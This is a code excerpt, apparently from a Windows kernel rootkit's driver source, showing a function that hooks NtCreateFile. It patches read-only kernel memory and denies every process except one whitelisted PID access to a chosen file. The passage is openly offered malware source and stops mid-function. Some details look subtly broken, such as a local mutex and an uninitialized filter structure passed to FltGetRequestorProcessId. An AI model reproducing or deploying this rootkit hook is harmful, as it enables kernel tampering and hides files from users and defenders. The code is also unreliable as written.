Function FakeNtCreateFile

Chaos-Rootkit/Driver.c:183–261

NTSTATUS WINAPI FakeNtCreateFile(
    PHANDLE            FileHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PIO_STATUS_BLOCK   IoStatusBlock,
    PLARGE_INTEGER     AllocationSize,
    ULONG              FileAttributes,
    ULONG              ShareAccess,
    ULONG              CreateDisposition,
    ULONG              CreateOptions,
    PVOID              EaBuffer,
    ULONG              EaLength
) {


    KMUTEX Mutex;
    KeInitializeMutex(&Mutex, 0);
    KeWaitForSingleObject(&Mutex, Executive, ExGetPreviousMode(), FALSE, NULL);

    int requestorPid = 0x0;

    try
    {
        __try {


            write_to_read_only_memory(xHooklist.NtCreateFileAddress, &xHooklist.NtCreateFileOrigin, sizeof(xHooklist.NtCreateFileOrigin));

            if (ObjectAttributes &&
                ObjectAttributes->ObjectName &&
                ObjectAttributes->ObjectName->Buffer)
            {

                if (wcsstr(ObjectAttributes->ObjectName->Buffer, xHooklist.filename))
                {

                    DbgPrint("Blocked : %wZ.\n", ObjectAttributes->ObjectName);

                    FLT_CALLBACK_DATA flt;

                    DbgPrint("requestor pid %d\n", requestorPid = FltGetRequestorProcessId(&flt));

                    if ((ULONG)requestorPid == (ULONG)xHooklist.pID)
                    {

                        DbgPrint("process allowed\n");

                        NTSTATUS FakeStatus = NtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, AllocationSize, FileAttributes, ShareAccess, CreateDisposition, CreateOptions, EaBuffer, EaLength);

                        write_to_read_only_memory(xHooklist.NtCreateFileAddress, &xHooklist.NtCreateFilePatch, sizeof(xHooklist.NtCreateFilePatch));

                        return (FakeStatus);
                    }

                    write_to_read_only_memory(xHooklist.NtCreateFileAddress, &xHooklist.NtCreateFilePatch, sizeof(xHooklist.NtCreateFilePatch));

                    return (STATUS_ACCESS_DENIED);
                }